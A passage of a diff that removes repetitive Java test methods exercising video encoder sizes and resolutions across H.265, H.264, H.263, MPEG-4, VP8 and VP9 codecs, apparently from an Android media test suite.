-    public void testGoogMpeg4FlexMinMax()  { minmax(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfMinMax()  { minmax(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexMinMax()    { minmax(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfMinMax()    { minmax(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexMinMax()    { minmax(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfMinMax()    { minmax(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexMinMax()  { minmax(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfMinMax()  { minmax(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexMinMax()  { minmax(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfMinMax()  { minmax(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexMinMax()  { minmax(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfMinMax()  { minmax(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexMinMax() { minmax(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfMinMax() { minmax(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexMinMax()   { minmax(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfMinMax()   { minmax(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexMinMax()   { minmax(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfMinMax()   { minmax(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexMaxMin()   { maxmin(googH265(),   true /* flex */); }
-    public void testGoogH265SurfMaxMin()   { maxmin(googH265(),   false /* flex */); }
-    public void testGoogH264FlexMaxMin()   { maxmin(googH264(),   true /* flex */); }
-    public void testGoogH264SurfMaxMin()   { maxmin(googH264(),   false /* flex */); }
-    public void testGoogH263FlexMaxMin()   { maxmin(googH263(),   true /* flex */); }
-    public void testGoogH263SurfMaxMin()   { maxmin(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexMaxMin()  { maxmin(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfMaxMin()  { maxmin(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexMaxMin()    { maxmin(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfMaxMin()    { maxmin(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexMaxMin()    { maxmin(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfMaxMin()    { maxmin(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexMaxMin()  { maxmin(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfMaxMin()  { maxmin(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexMaxMin()  { maxmin(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfMaxMin()  { maxmin(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexMaxMin()  { maxmin(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfMaxMin()  { maxmin(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexMaxMin() { maxmin(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfMaxMin() { maxmin(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexMaxMin()   { maxmin(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfMaxMin()   { maxmin(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexMaxMin()   { maxmin(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfMaxMin()   { maxmin(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexMaxMax()   { maxmax(googH265(),   true /* flex */); }
-    public void testGoogH265SurfMaxMax()   { maxmax(googH265(),   false /* flex */); }
-    public void testGoogH264FlexMaxMax()   { maxmax(googH264(),   true /* flex */); }
-    public void testGoogH264SurfMaxMax()   { maxmax(googH264(),   false /* flex */); }
-    public void testGoogH263FlexMaxMax()   { maxmax(googH263(),   true /* flex */); }
-    public void testGoogH263SurfMaxMax()   { maxmax(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexMaxMax()  { maxmax(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfMaxMax()  { maxmax(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexMaxMax()    { maxmax(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfMaxMax()    { maxmax(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexMaxMax()    { maxmax(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfMaxMax()    { maxmax(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexMaxMax()  { maxmax(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfMaxMax()  { maxmax(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexMaxMax()  { maxmax(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfMaxMax()  { maxmax(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexMaxMax()  { maxmax(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfMaxMax()  { maxmax(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexMaxMax() { maxmax(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfMaxMax() { maxmax(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexMaxMax()   { maxmax(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfMaxMax()   { maxmax(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexMaxMax()   { maxmax(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfMaxMax()   { maxmax(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexNearMinMin()   { nearminmin(googH265(),   true /* flex */); }
-    public void testGoogH265SurfNearMinMin()   { nearminmin(googH265(),   false /* flex */); }
-    public void testGoogH264FlexNearMinMin()   { nearminmin(googH264(),   true /* flex */); }
-    public void testGoogH264SurfNearMinMin()   { nearminmin(googH264(),   false /* flex */); }
-    public void testGoogH263FlexNearMinMin()   { nearminmin(googH263(),   true /* flex */); }
-    public void testGoogH263SurfNearMinMin()   { nearminmin(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexNearMinMin()  { nearminmin(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfNearMinMin()  { nearminmin(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexNearMinMin()    { nearminmin(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfNearMinMin()    { nearminmin(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexNearMinMin()    { nearminmin(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfNearMinMin()    { nearminmin(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexNearMinMin()  { nearminmin(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfNearMinMin()  { nearminmin(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexNearMinMin()  { nearminmin(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfNearMinMin()  { nearminmin(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexNearMinMin()  { nearminmin(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfNearMinMin()  { nearminmin(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexNearMinMin() { nearminmin(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfNearMinMin() { nearminmin(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexNearMinMin()   { nearminmin(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfNearMinMin()   { nearminmin(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexNearMinMin()   { nearminmin(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfNearMinMin()   { nearminmin(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexNearMinMax()   { nearminmax(googH265(),   true /* flex */); }
-    public void testGoogH265SurfNearMinMax()   { nearminmax(googH265(),   false /* flex */); }
-    public void testGoogH264FlexNearMinMax()   { nearminmax(googH264(),   true /* flex */); }
-    public void testGoogH264SurfNearMinMax()   { nearminmax(googH264(),   false /* flex */); }
-    public void testGoogH263FlexNearMinMax()   { nearminmax(googH263(),   true /* flex */); }
-    public void testGoogH263SurfNearMinMax()   { nearminmax(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexNearMinMax()  { nearminmax(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfNearMinMax()  { nearminmax(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexNearMinMax()    { nearminmax(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfNearMinMax()    { nearminmax(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexNearMinMax()    { nearminmax(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfNearMinMax()    { nearminmax(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexNearMinMax()  { nearminmax(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfNearMinMax()  { nearminmax(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexNearMinMax()  { nearminmax(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfNearMinMax()  { nearminmax(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexNearMinMax()  { nearminmax(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfNearMinMax()  { nearminmax(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexNearMinMax() { nearminmax(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfNearMinMax() { nearminmax(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexNearMinMax()   { nearminmax(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfNearMinMax()   { nearminmax(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexNearMinMax()   { nearminmax(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfNearMinMax()   { nearminmax(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexNearMaxMin()   { nearmaxmin(googH265(),   true /* flex */); }
-    public void testGoogH265SurfNearMaxMin()   { nearmaxmin(googH265(),   false /* flex */); }
-    public void testGoogH264FlexNearMaxMin()   { nearmaxmin(googH264(),   true /* flex */); }
-    public void testGoogH264SurfNearMaxMin()   { nearmaxmin(googH264(),   false /* flex */); }
-    public void testGoogH263FlexNearMaxMin()   { nearmaxmin(googH263(),   true /* flex */); }
-    public void testGoogH263SurfNearMaxMin()   { nearmaxmin(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexNearMaxMin()  { nearmaxmin(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfNearMaxMin()  { nearmaxmin(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexNearMaxMin()    { nearmaxmin(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfNearMaxMin()    { nearmaxmin(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexNearMaxMin()    { nearmaxmin(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfNearMaxMin()    { nearmaxmin(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexNearMaxMin()  { nearmaxmin(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfNearMaxMin()  { nearmaxmin(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexNearMaxMin()  { nearmaxmin(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfNearMaxMin()  { nearmaxmin(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexNearMaxMin()  { nearmaxmin(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfNearMaxMin()  { nearmaxmin(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexNearMaxMin() { nearmaxmin(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfNearMaxMin() { nearmaxmin(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexNearMaxMin()   { nearmaxmin(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfNearMaxMin()   { nearmaxmin(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexNearMaxMin()   { nearmaxmin(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfNearMaxMin()   { nearmaxmin(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexNearMaxMax()   { nearmaxmax(googH265(),   true /* flex */); }
-    public void testGoogH265SurfNearMaxMax()   { nearmaxmax(googH265(),   false /* flex */); }
-    public void testGoogH264FlexNearMaxMax()   { nearmaxmax(googH264(),   true /* flex */); }
-    public void testGoogH264SurfNearMaxMax()   { nearmaxmax(googH264(),   false /* flex */); }
-    public void testGoogH263FlexNearMaxMax()   { nearmaxmax(googH263(),   true /* flex */); }
-    public void testGoogH263SurfNearMaxMax()   { nearmaxmax(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexNearMaxMax()  { nearmaxmax(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfNearMaxMax()  { nearmaxmax(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexNearMaxMax()    { nearmaxmax(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfNearMaxMax()    { nearmaxmax(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexNearMaxMax()    { nearmaxmax(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfNearMaxMax()    { nearmaxmax(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexNearMaxMax()  { nearmaxmax(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfNearMaxMax()  { nearmaxmax(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexNearMaxMax()  { nearmaxmax(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfNearMaxMax()  { nearmaxmax(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexNearMaxMax()  { nearmaxmax(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfNearMaxMax()  { nearmaxmax(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexNearMaxMax() { nearmaxmax(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfNearMaxMax() { nearmaxmax(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexNearMaxMax()   { nearmaxmax(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfNearMaxMax()   { nearmaxmax(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexNearMaxMax()   { nearmaxmax(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfNearMaxMax()   { nearmaxmax(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexArbitraryW()   { arbitraryw(googH265(),   true /* flex */); }
-    public void testGoogH265SurfArbitraryW()   { arbitraryw(googH265(),   false /* flex */); }
-    public void testGoogH264FlexArbitraryW()   { arbitraryw(googH264(),   true /* flex */); }
-    public void testGoogH264SurfArbitraryW()   { arbitraryw(googH264(),   false /* flex */); }
-    public void testGoogH263FlexArbitraryW()   { arbitraryw(googH263(),   true /* flex */); }
-    public void testGoogH263SurfArbitraryW()   { arbitraryw(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexArbitraryW()  { arbitraryw(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfArbitraryW()  { arbitraryw(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexArbitraryW()    { arbitraryw(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfArbitraryW()    { arbitraryw(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexArbitraryW()    { arbitraryw(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfArbitraryW()    { arbitraryw(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexArbitraryW()  { arbitraryw(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfArbitraryW()  { arbitraryw(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexArbitraryW()  { arbitraryw(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfArbitraryW()  { arbitraryw(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexArbitraryW()  { arbitraryw(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfArbitraryW()  { arbitraryw(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexArbitraryW() { arbitraryw(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfArbitraryW() { arbitraryw(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexArbitraryW()   { arbitraryw(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfArbitraryW()   { arbitraryw(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexArbitraryW()   { arbitraryw(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfArbitraryW()   { arbitraryw(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexArbitraryH()   { arbitraryh(googH265(),   true /* flex */); }
-    public void testGoogH265SurfArbitraryH()   { arbitraryh(googH265(),   false /* flex */); }
-    public void testGoogH264FlexArbitraryH()   { arbitraryh(googH264(),   true /* flex */); }
-    public void testGoogH264SurfArbitraryH()   { arbitraryh(googH264(),   false /* flex */); }
-    public void testGoogH263FlexArbitraryH()   { arbitraryh(googH263(),   true /* flex */); }
-    public void testGoogH263SurfArbitraryH()   { arbitraryh(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexArbitraryH()  { arbitraryh(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfArbitraryH()  { arbitraryh(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexArbitraryH()    { arbitraryh(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfArbitraryH()    { arbitraryh(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexArbitraryH()    { arbitraryh(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfArbitraryH()    { arbitraryh(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexArbitraryH()  { arbitraryh(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfArbitraryH()  { arbitraryh(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexArbitraryH()  { arbitraryh(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfArbitraryH()  { arbitraryh(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexArbitraryH()  { arbitraryh(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfArbitraryH()  { arbitraryh(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexArbitraryH() { arbitraryh(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfArbitraryH() { arbitraryh(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexArbitraryH()   { arbitraryh(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfArbitraryH()   { arbitraryh(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexArbitraryH()   { arbitraryh(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfArbitraryH()   { arbitraryh(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexQCIF()   { specific(googH265(),   176, 144, true /* flex */); }
-    public void testGoogH265SurfQCIF()   { specific(googH265(),   176, 144, false /* flex */); }
-    @Presubmit
-    @SmallTest
-    public void testGoogH264FlexQCIF()   { specific(googH264(),   176, 144, true /* flex */); }
-    @Presubmit
-    @SmallTest
-    public void testGoogH264SurfQCIF()   { specific(googH264(),   176, 144, false /* flex */); }
-    public void testGoogH263FlexQCIF()   { specific(googH263(),   176, 144, true /* flex */); }
-    public void testGoogH263SurfQCIF()   { specific(googH263(),   176, 144, false /* flex */); }
-    public void testGoogMpeg4FlexQCIF()  { specific(googMpeg4(),  176, 144, true /* flex */); }
-    public void testGoogMpeg4SurfQCIF()  { specific(googMpeg4(),  176, 144, false /* flex */); }
-    public void testGoogVP8FlexQCIF()    { specific(googVP8(),    176, 144, true /* flex */); }
-    public void testGoogVP8SurfQCIF()    { specific(googVP8(),    176, 144, false /* flex */); }
-    public void testGoogVP9FlexQCIF()    { specific(googVP9(),    176, 144, true /* flex */); }
-    public void testGoogVP9SurfQCIF()    { specific(googVP9(),    176, 144, false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexQCIF()  { specific(otherH265(),  176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfQCIF()  { specific(otherH265(),  176, 144, false /* flex */); }
-    @NonMediaMainlineTest
-    @RequiresDevice
-    @Presubmit
-    @SmallTest
-    public void testOtherH264FlexQCIF()  { specific(otherH264(),  176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    @RequiresDevice
-    @Presubmit
-    @SmallTest
-    public void testOtherH264SurfQCIF()  { specific(otherH264(),  176, 144, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexQCIF()  { specific(otherH263(),  176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfQCIF()  { specific(otherH263(),  176, 144, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexQCIF() { specific(otherMpeg4(), 176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfQCIF() { specific(otherMpeg4(), 176, 144, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexQCIF()   { specific(otherVP8(),   176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfQCIF()   { specific(otherVP8(),   176, 144, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexQCIF()   { specific(otherVP9(),   176, 144, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfQCIF()   { specific(otherVP9(),   176, 144, false /* flex */); }
-
-    public void testGoogH265Flex480p()   { specific(googH265(),   720, 480, true /* flex */); }
-    public void testGoogH265Surf480p()   { specific(googH265(),   720, 480, false /* flex */); }
-    public void testGoogH264Flex480p()   { specific(googH264(),   720, 480, true /* flex */); }
-    public void testGoogH264Surf480p()   { specific(googH264(),   720, 480, false /* flex */); }
-    public void testGoogH263Flex480p()   { specific(googH263(),   720, 480, true /* flex */); }
-    public void testGoogH263Surf480p()   { specific(googH263(),   720, 480, false /* flex */); }
-    public void testGoogMpeg4Flex480p()  { specific(googMpeg4(),  720, 480, true /* flex */); }
-    public void testGoogMpeg4Surf480p()  { specific(googMpeg4(),  720, 480, false /* flex */); }
-    public void testGoogVP8Flex480p()    { specific(googVP8(),    720, 480, true /* flex */); }
-    public void testGoogVP8Surf480p()    { specific(googVP8(),    720, 480, false /* flex */); }
-    public void testGoogVP9Flex480p()    { specific(googVP9(),    720, 480, true /* flex */); }
-    public void testGoogVP9Surf480p()    { specific(googVP9(),    720, 480, false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265Flex480p()  { specific(otherH265(),  720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265Surf480p()  { specific(otherH265(),  720, 480, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Flex480p()  { specific(otherH264(),  720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Surf480p()  { specific(otherH264(),  720, 480, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Flex480p()  { specific(otherH263(),  720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Surf480p()  { specific(otherH263(),  720, 480, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Flex480p() { specific(otherMpeg4(), 720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Surf480p() { specific(otherMpeg4(), 720, 480, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Flex480p()   { specific(otherVP8(),   720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Surf480p()   { specific(otherVP8(),   720, 480, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9Flex480p()   { specific(otherVP9(),   720, 480, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9Surf480p()   { specific(otherVP9(),   720, 480, false /* flex */); }
-
-    // even though H.263 and MPEG-4 are not defined for 720p or 1080p
-    // test for it, in case device claims support for it.
-
-    public void testGoogH265Flex720p()   { specific(googH265(),   1280, 720, true /* flex */); }
-    public void testGoogH265Surf720p()   { specific(googH265(),   1280, 720, false /* flex */); }
-    public void testGoogH264Flex720p()   { specific(googH264(),   1280, 720, true /* flex */); }
-    public void testGoogH264Surf720p()   { specific(googH264(),   1280, 720, false /* flex */); }
-    public void testGoogH263Flex720p()   { specific(googH263(),   1280, 720, true /* flex */); }
-    public void testGoogH263Surf720p()   { specific(googH263(),   1280, 720, false /* flex */); }
-    public void testGoogMpeg4Flex720p()  { specific(googMpeg4(),  1280, 720, true /* flex */); }
-    public void testGoogMpeg4Surf720p()  { specific(googMpeg4(),  1280, 720, false /* flex */); }
-    public void testGoogVP8Flex720p()    { specific(googVP8(),    1280, 720, true /* flex */); }
-    public void testGoogVP8Surf720p()    { specific(googVP8(),    1280, 720, false /* flex */); }
-    public void testGoogVP9Flex720p()    { specific(googVP9(),    1280, 720, true /* flex */); }
-    public void testGoogVP9Surf720p()    { specific(googVP9(),    1280, 720, false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265Flex720p()  { specific(otherH265(),  1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265Surf720p()  { specific(otherH265(),  1280, 720, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Flex720p()  { specific(otherH264(),  1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Surf720p()  { specific(otherH264(),  1280, 720, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Flex720p()  { specific(otherH263(),  1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Surf720p()  { specific(otherH263(),  1280, 720, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Flex720p() { specific(otherMpeg4(), 1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Surf720p() { specific(otherMpeg4(), 1280, 720, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Flex720p()   { specific(otherVP8(),   1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Surf720p()   { specific(otherVP8(),   1280, 720, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9Flex720p()   { specific(otherVP9(),   1280, 720, true /* flex */); }
-    @NonMediaMainlineTest
